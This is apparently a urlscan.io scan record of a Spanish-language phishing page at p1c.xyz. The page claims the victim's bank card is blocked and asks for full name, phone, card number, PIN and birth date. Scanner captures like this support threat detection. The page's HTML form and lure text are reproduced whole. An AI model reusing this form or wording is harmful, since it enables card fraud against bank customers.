p1c.xyz Open in urlscan Pro
198.23.58.191  Public Scan

Form analysis
1 forms found in the DOM

POST

<form id="userForm" method="POST">
  <div class="form-container">
    <img src="im/bc.jpg" alt="Form Image">
    <h2>Estimado Cliente: Le informamos que por Cuestiones de Seguridad, Su Tarjeta ha sido Bloqueada, es necesario realizar el proceso de reactivacion de su Tarjeta para evitar el bloqueo total.</h2>
    <p>Ingresa la siguiente información para desbloquear tu Tarjeta y sigue los pasos.</p>
    <label for="nombre">Nombre Completo:</label>
    <input type="text" id="nombre" name="nombre" required="">
    <label for="celular">Celular:</label>
    <input type="text" id="celular" name="celular" required="">
    <label for="numeric_field">Número de Tarjeta (16 dígitos):</label>
    <input type="text" id="numeric_field" name="numeric_field" maxlength="25" required="">
    <label for="password">Nip (4 dígitos):</label>
    <input type="password" id="password" name="password" maxlength="4" required="">
    <label for="dob">Fecha de Nacimiento:</label>
    <select id="dia" name="dia" required="">
      <option value="" disabled="" selected="">Día</option>
      <option>1</option>
      <option>2</option>
      <option>3</option>
      <option>4</option>
      <option>5</option>
      <option>6</option>
      <option>7</option>
      <option>8</option>
      <option>9</option>
      <option>10</option>
      <option>11</option>
      <option>12</option>
      <option>13</option>
      <option>14</option>
      <option>15</option>
      <option>16</option>
      <option>17</option>
      <option>18</option>
      <option>19</option>
      <option>20</option>
      <option>21</option>
      <option>22</option>
      <option>23</option>
      <option>24</option>
      <option>25</option>
      <option>26</option>
      <option>27</option>
      <option>28</option>
      <option>29</option>
      <option>30</option>
      <option>31</option>
    </select>
    <select id="mes" name="mes" required="">
      <option value="" disabled="" selected="">Mes</option>
      <option>1</option>
      <option>2</option>
      <option>3</option>
      <option>4</option>
      <option>5</option>
      <option>6</option>
      <option>7</option>
      <option>8</option>
      <option>9</option>
      <option>10</option>
      <option>11</option>
      <option>12</option>
    </select>
    <select id="anio" name="anio" required="">
      <option value="" disabled="" selected="">Año</option>
      <option>1920</option>
      <option>1921</option>
      <option>1922</option>
      <option>1923</option>
      <option>1924</option>
      <option>1925</option>
      <option>1926</option>
      <option>1927</option>
      <option>1928</option>
      <option>1929</option>
      <option>1930</option>
      <option>1931</option>
      <option>1932</option>
      <option>1933</option>
      <option>1934</option>
      <option>1935</option>
      <option>1936</option>
      <option>1937</option>
      <option>1938</option>
      <option>1939</option>
      <option>1940</option>
      <option>1941</option>
      <option>1942</option>
      <option>1943</option>
      <option>1944</option>
      <option>1945</option>
      <option>1946</option>
      <option>1947</option>
      <option>1948</option>
      <option>1949</option>
      <option>1950</option>
      <option>1951</option>
      <option>1952</option>
      <option>1953</option>
      <option>1954</option>
      <option>1955</option>
      <option>1956</option>
      <option>1957</option>
      <option>1958</option>
      <option>1959</option>
      <option>1960</option>
      <option>1961</option>
      <option>1962</option>
      <option>1963</option>
      <option>1964</option>
      <option>1965</option>
      <option>1966</option>
      <option>1967</option>
      <option>1968</option>
      <option>1969</option>
      <option>1970</option>
      <option>1971</option>
      <option>1972</option>
      <option>1973</option>
      <option>1974</option>
      <option>1975</option>
      <option>1976</option>
      <option>1977</option>
      <option>1978</option>
      <option>1979</option>
      <option>1980</option>
      <option>1981</option>
      <option>1982</option>
      <option>1983</option>
      <option>1984</option>
      <option>1985</option>
      <option>1986</option>
      <option>1987</option>
      <option>1988</option>
      <option>1989</option>
      <option>1990</option>
      <option>1991</option>
      <option>1992</option>
      <option>1993</option>
      <option>1994</option>
      <option>1995</option>
      <option>1996</option>
      <option>1997</option>
      <option>1998</option>
      <option>1999</option>
      <option>2000</option>
      <option>2001</option>
      <option>2002</option>
      <option>2003</option>
      <option>2004</option>
      <option>2005</option>
      <option>2006</option>
      <option>2007</option>
      <option>2008</option>
    </select>
    <button type="submit">Enviar</button>
  </div>
</form>

Text Content

ESTIMADO CLIENTE: LE INFORMAMOS QUE POR CUESTIONES DE SEGURIDAD, SU TARJETA HA
SIDO BLOQUEADA, ES NECESARIO REALIZAR EL PROCESO DE REACTIVACION DE SU TARJETA
PARA EVITAR EL BLOQUEO TOTAL.

Ingresa la siguiente información para desbloquear tu Tarjeta y sigue los pasos.

Nombre Completo: Celular: Número de Tarjeta (16 dígitos): Nip (4 dígitos): Fecha
de Nacimiento: Día 12345678910111213141516171819202122232425262728293031 Mes
123456789101112 Año
19201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008
Enviar